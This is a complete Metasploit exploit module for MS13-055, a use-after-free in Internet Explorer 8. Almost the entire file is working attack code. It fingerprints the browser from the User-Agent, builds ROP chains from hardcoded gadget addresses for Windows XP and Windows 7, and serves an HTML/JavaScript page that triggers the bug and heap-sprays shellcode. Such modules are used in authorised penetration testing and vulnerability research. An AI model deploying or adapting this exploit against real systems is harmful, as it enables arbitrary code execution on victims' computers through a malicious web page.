require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
'Description'=> %q{
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Orange Tsai',
'Peter Vreugdenhil',
'sinn3r'
],
'References' =>
[
[ 'MSB', 'MS13-055'],
[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
],
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', {} ],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :msvcrt,
'Pivot' => 0x77c15ed5,
'Align' => 0x77c4d801
}
],
[
'IE 8 on Windows 7',
{
'Rop' => :jre,
'Pivot' => 0x7c348b05,
'Align' => 0x7C3445F8
}
]
],
'Payload'=>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "Jul 09 2013",
'DefaultTarget'=> 0))
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end
nil
end
def get_payload(t, cli)
rop = ''
code= payload.encoded
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF"
case t['Rop']
when :msvcrt
esp_align = "\x81\xc4\x54\xf2\xff\xff"
print_status("Using msvcrt ROP")
rop =
[
0x77c1e844,
0x77c1e844,
0x77c4fa1c,
0xffffffff,
0x77c127e5,
0x77c127e5,
0x77c4e0da,
0x2cfe1467,
0x77c4eb80,
0x77c58fbc,
0x77c34fcd,
0x2cfe04a7,
0x77c4eb80,
0x77c14001,
0x77c3048a,
0x77c47a42,
0x77c46efb,
0x77c2aacc,
0x77c3b860,
0x77c1110c,
0x77c12df9,
0x77c35459
].pack("V*")
else
print_status("Using JRE ROP")
rop =
[
0x7c37653d,
0xfffffdff,
0x7c347f98,
0x7c3415a2,
0xffffffff,
0x7c376402,
0x7c351e05,
0x7c345255,
0x7c352174,
0x7c344f87,
0xffffffc0,
0x7c351eb1,
0x7c34d201,
0x7c38b001,
0x7c347f97,
0x7c37a151,
0x7c378c81,
0x7c345c30
].pack("V*")
end
rop_payload= rop
rop_payload << esp_align
rop_payload << code
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
rop_payload
end
def junk
rand_text_alpha(4).unpack("V")[0].to_i
end
def nop
make_nops(4).unpack("V")[0].to_i
end
def get_html(t, p)
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
js_payload = Rex::Text.to_unescape(p)
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
js_junk= Rex::Text.to_unescape([junk].pack("V*"))
q_id = Rex::Text.rand_text_alpha(1)
html = %Q|
<!DOCTYPE html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
</head>
<script>
window.onload = function() {
var x= document.getElementById("#{q_id}");
x.outerText = "";
a = document.getElementById('myanim');
p = '';
for (i=0; i < 7; i++) {
p += unescape("#{js_junk}");
}
p += unescape("#{js_payload}");
fo = unescape("#{js_align}");
for (i=0; i < 28; i++) {
if (i == 27) { fo += unescape("#{js_pivot}"); }
else { fo += unescape("#{js_align}"); }
}
fo += p;
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
}
</script>
<table>
<tr>
<div>
<span>
<q id='#{q_id}'>
<a>
<td></td>
</a>
</q>
</span>
</div>
</tr>
</table>
<t:ANIMATECOLOR id="myanim"/>
</html>
|
html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
t = get_target(agent)
if t
p = get_payload(t, cli)
html = get_html(t, p)
print_status("Sending exploit...")
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
else
print_error("Not a suitable target: #{agent}")
send_not_found(cli)
end
end
end